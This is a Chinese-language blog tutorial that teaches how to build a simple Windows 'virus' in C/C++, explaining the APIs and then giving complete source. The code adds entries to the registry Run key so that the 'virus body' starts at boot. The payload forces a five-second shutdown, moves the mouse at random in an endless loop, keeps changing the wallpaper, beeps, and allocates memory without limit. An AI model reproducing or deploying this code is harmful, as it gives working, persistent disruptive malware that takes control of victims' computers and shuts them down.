目录
理论知识
修改桌面背景方法
控制鼠标方法
开机自启动方法
关机方法
实现
修改桌面背景代码
控制鼠标代码
开机自启动代码
关机代码
代码
参考
一 理论知识
1.1 修改桌面背景方法
在 Windows 下, 修改桌面背景可以使用特定的 API : SystemParametersInfo
该函数也可以在设置参数中更新用户配置文件, 这个函数还有很多其它功能, 比如获取桌面工作区的大小.
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction: 该参数指定要查询或设置的系统级参数. 其取值如下;
SPI_GETACCESSTIMEOUT: 检索与可访问特性相关联的超时段的信息, PvParam 参数必须指向某个 ACCESSTIMEOUT 结构以获得信息, 并将该结构中的 cbSjze 成员和 ulParam 参数的值设为 sizeof(ACCESSTIMEOUT).
SPI_GETACTIVEWINDOWTRACKING: 用于 Windows 98 和 Windows NT 5.0 及以后的版本. 它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam 参数必须指向一个 BOOL 型变量(打开时接收值为 TRUE, 关闭时为 FALSE).
SPI_GETACTIVEWNDTRKZORDER; 用于 Windows 98 和 Windows NT 5.0 及以后版本. 它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层. pvParam 参数必须指向一个 BOOL 型变量, 如果要置于顶层, 那么该变量的值为 TRUE, 否则为 FALSE.
SPI_GETACTIVEWNDTRKTIMEOUT: 用于 Windows 98 和 Windows NT 5.0 及以后版本. 它指示活动窗口跟踪延迟量, 单位为毫秒. pvParam 参数必须指向 DWORD 类型变量, 以接收时间量.
SPI_GETANIMATION: 检索与用户活动有关的动画效果. pvParam 参数必须指向 ANIMATIOINFO 结构以接收信息. 并将该结构的 cbSize 成员和 ulParam 参数置为 sizeof(ANIMATIONINFO).
SPI_GETBEEP: 表示警告蜂鸣器是否是打开的. pvParam 参数必须指向一个 BOOL 类型变量, 如果蜂鸣器处于打开状态, 那么该变量的值为 TRUE, 否则为 FALSE.
SpI_GETBORDER: 检索决定窗口边界放大宽度的边界放大因子. pvParam 参数必须指向一个整型变量以接收该值.
SPI_GETDEFAULTINPUTLANG: 返回用于系统缺省输入语言的键盘布局句柄. pvParam 参数必须指向一个 32 位变量, 以接收该值.
SPI_GETCOMBOBOXANIMATION: 用于 Windows 98 和 Windows NT 5.0 及以后版本. 它表示用于组合柜的动打开效果是否允许. pvParam 参数必须指向一个 BOOL 变量, 如果允许, 那么变量返回值为 TRUE, 否则为 FALSE.
SPI_GETDRAGFULLWINDOWS: 确定是否允许拖拉到最大窗口. pvParam 参数必须指向 BOOL 变量, 如果允许, 返回值为 TRUE, 否则为 FALSE. 对于 Windows 95 系统, 该标志只有在安装了 Windows plus! 才支持.
SPI_GETFASTTASKSWITCH: 该标志已不用! 以前版本的系统使用该标志来确定是否允许 Alt+Tab 快速任务切换. 对于 Windows 95,Windows 98 和 Windows NT 4.0 版而言, 快速任务切换通常是允许的.
更多 https://github.com/CasterWx/c-cPlusPlus-Virus
uiParam:uiParam 在参数说明中所有为 ulParam 均为错误.
这个参数值设为 true 即可.
pvParam: 与查询或设置的系统参数有关. 关于系统级参数的详情, 请参考 uiAction 参数. 否则在没有指明情况下, 必须将该参数指定为 NULL.
在修改背景图片时为图片信息, PVOID 类型.
fWinlni: 如果设置系统参数, 则它用来指定是否更新用户配置文件(Profile). 亦或是否要将 WM_SETTINGCHANGE 消息广播给所有顶层窗口, 以通知它们新的变化内容. 该参数可以是 0 或下列取值之一:
SPIF_UPDATEINIFILE: 把新的系统参数的设置内容写入用户配置文件.
SPIF_SENDCHANGE: 在更新用户配置文件之后广播 WM_SETTINGCHANGE 消息.
SPI_SENDWININICHANGE 与 SPIF_SENDCHANGE 一样.
返回值
如果函数调用成功, 返回值非零: 如果函数调用失败, 那么返回值为零.
1.2 控制鼠标方法
控制鼠标坐标的方法同样也时调用一个 API,GetCursorPos 和 SetCursorPos
GetCursorPos 用于获取鼠标句柄
- #include<stdio.h>
- #include<windows.h>
- int main()
- {
- POINT p;
- GetCursorPos(&p);
- return0;
- }
SetCursorPos 用于移动鼠标
在使用 GetCursorPos 获取鼠标句柄之后, 可以调用 SetCursorPos 移动鼠标, 它的两个参数分别是 x 轴和 y 轴.
函数原型: BOOL SetCursorPos(int X,int Y);
参数:
X: 指定光标的新的 X 坐标, 以屏幕坐标表示.
Y: 指定光标的新的 Y 坐标, 以屏幕坐标表示.
返回值: 如果成功, 返回非零值; 如果失败, 返回值是零, 若想获得更多错误信息, 请调用 GetLastError 函数.
备注: 该光标是共享资源, 仅当该光标在一个窗口的客户区域内时它才能移动该光标.
1.3 开机自启动方法
注册表
开机自启动的实现方法就是通过注册表实现, 在注册表中有固定的开机自启程序设置位置
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
在这几项中有我们电脑中的开机自启动程序信息,
例如这个 WeChat 就是开机时的微信登录程序.
注册表读写方法
- RegCreateKey
- // 打开注册表
- LONG WINAPI RegCreateKey(
- _In_ HKEY hKey,
- _In_opt_ LPCTSTR lpSubKey,
- _Out_ PHKEY phkResult
- );
- hKey
指向当前打开表项的句柄, 或者是下列预定义保留句柄值之一, 实际上就是注册表中的几个分支.
lpSubKey
指向一个空终止的字符串指针, 指示这个函数将打开或创建的表项的名称. 这个表项必须是由 hKey 参数所标识的项的子项
phkResult
这是一个返回值, 指向一个变量的指针, 用来接受创建或打开的表项的句柄. 当不再需要此返回的注册表项句柄时, 调用 RegCloseKey 函数关闭这个句柄.
- RegSetValueEx
- // 读写注册表
- LONG RegSetValueEx(
- HKEY hKey,
- LPCTSTR lpValueName,
- DWORD Reserved,
- DWORD dwType,
- CONST BYTE *lpData,
- DWORD cbData
- );
- hKey
一个已打开项的句柄, 或指定一个标准项名
lpValueName
指向一个字符串的指针, 该字符串包含了欲设置值的名称. 若拥有该值名称的值并不存在于指定的注册表项中, 则此函数将其加入到该项. 如果此值是 NULL, 或指向空字符串, 则此函数为该项的默认值或未命名值设置类型和数据.
Reserved
保留值, 必须强制为 0
dwType
指定将被存储的数据类型, 该参数可以为
REG_BINARY 任何形式的二进制数据
REG_DWORD 一个 32 位的数字
REG_DWORD_LITTLE_ENDIAN 一个 "低字节在前" 格式的 32 位数字
REG_DWORD_BIG_ENDIAN 一个 "高字节在前" 格式的 32 位数字
REG_EXPAND_SZ 一个以 0 结尾的字符串, 该字符串包含对环境变量 (如 "%PAHT") 的未扩展引用
REG_LINK 一个 Unicode 格式的带符号链接
REG_MULTI_SZ 一个以 0 结尾的字符串数组, 该数组以连接两个 0 为终止符
REG_NONE 未定义值类型
REG_RESOURCE_LIST 一个设备驱动器资源列表
REG_SZ 一个以 0 结尾的字符串
lpData
指向一个缓冲区, 该缓冲区包含了欲为指定值名称存储的数据.
cbData
指定由 lpData 参数所指向的数据的大小, 单位是字节.
1.4 关机方法
Windows 系统自带一个名为 Shutdown.exe 的程序, 可以用于关机操作(位置在 Windows\System32 下), 一般情况下 Windows 系统的关机都可以通过调用程序 shutdown.exe 来实现的, 同时该程序也可以用于终止正在计划中的关机操作.
shutdown-a 取消关机
shutdown -s 关机
shutdown -f 强行关闭应用程序
shutdown -m \\ 计算机名 控制远程计算机
shutdown -i 显示 "远程关机" 图形用户界面, 但必须是 Shutdown 的第一个参数
shutdown -l 注销当前用户
shutdown -r 关机并重启
shutdown -s -t 时间 设置关机倒计时
shutdown -h 休眠
二 实现
2.1 修改桌面背景代码
图片信息使用了一个 PVOID 数组, 并通过一个 for 循环不断切换桌面背景.
- #include<stdio.h>
- #include<windows.h>
- #include<iostream>
- #include <tchar.h>
- #include<cstdlib>
- #include<ctime>
- using namespace std ;
- int main(){
- PVOID s[10] = {
- (PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
- ...
- (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
- };
- SystemParametersInfo(20, true,s, 1) ;
- for(int i=0;i<10;i++){
- SystemParametersInfo(20, true,s[i], 1) ;
- Sleep(1000);// 控制时间间隔
- }
- return 0 ;
- }
2.2 控制鼠标代码
利用随机数和 while 死循环达到鼠标不受控制疯狂随机移动的功能.
- #include<stdio.h>
- #include<windows.h>
- #include<iostream>
- #include <tchar.h>
- #include<cstdlib>
- #include<ctime>
- using namespace std ;
- int main(){
- POINT sb;
- srand((unsigned)time(NULL));
- GetCursorPos (&sb);// 获取鼠标坐标
- while(1){
- SetCursorPos(rand()%1000,rand()%800);// 更改鼠标坐标
- Sleep(1);// 控制移动时间间隔
- }
- return 0 ;
- }
2.3 开机自启动代码
ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二个参数是项名称, 第五个参数是要开机启动程序的路径位置, 最后一个参数是第五个参数路径字符长度.
- #include<stdio.h>
- #include<windows.h>
- #include<iostream>
- #include <tchar.h>
- #include<cstdlib>
- #include<ctime>
- using namespace std ;
- int main(){
- HKEY hkey ;// 计算机 \ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- TCHAR p[64] ;
- long ret;
- ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
- if(ret==ERROR_SUCCESS){
- ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
- if(ret==ERROR_SUCCESS){
- // 写入成功
- }else {
- // 写入失败
- cout <<"Write filed !" ;
- }
- }else {
- // 注册表打开失败
- cout << "Read error !" << endl ;
- }
- return 0 ;
- }
2.4 关机代码
这个功能实现比较简单.
- #include<stdio.h>
- #include<windows.h>
- int main(){
- // 五秒关机
- system("shutdown -s -t 5");
- return 0 ;
- }
三 代码
3.1 注册程序, 将病毒主体加入开机自启动
- #include<stdio.h>
- #include<windows.h>
- #include<iostream>
- #include <tchar.h>
- #include<cstdlib>
- #include<ctime>
- using namespace std ;
- int main(){
- HKEY hkey ;// 计算机 \ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- TCHAR p[64] ;
- long ret;
- ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
- if(ret==ERROR_SUCCESS){
- ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
- ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要动作
- ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);// 监控实时变化
- if(ret==ERROR_SUCCESS){
- // 写入成功
- }else {
- // 写入失败
- cout <<"Write filed !" ;
- }
- }else {
- cout << "Read error !" << endl ;
- }
- return 0 ;
- }
3.2 病毒主体, 在上方代码实现开机自启动之后, 这段代码可以不断修改壁纸, 控制鼠标以及关机.
- #include<stdio.h>
- #include<windows.h>
- #include<iostream>
- #include <tchar.h>
- #include<cstdlib>
- #include<ctime>
- using namespace std ;
- int main(){
- POINT sb;
- PVOID s[10] = {
- (PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
- (PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
- };
- srand((unsigned)time(NULL));
- system("shutdown -s -t 5");
- SystemParametersInfo(20, true,s, 1) ;
- GetCursorPos (&sb);// 获取鼠标坐标
- int i = 0 ;
- while(1){
- int *p = (int*)malloc(10000000000) ;
- printf("\a");
- SystemParametersInfo(20, true,s[i], 1) ;
- if(i>=9){
- i = 0 ;
- }
- SetCursorPos(rand()%1000,rand()%800);// 更改鼠标坐标
- Sleep(1);// 控制移动时间间隔
- }
- return 0 ;
- }
四 参考
Github 地址 : Github https://github.com/CasterWx/c-cPlusPlus-Virus
来源: https://www.cnblogs.com/LexMoon/p/Virus.html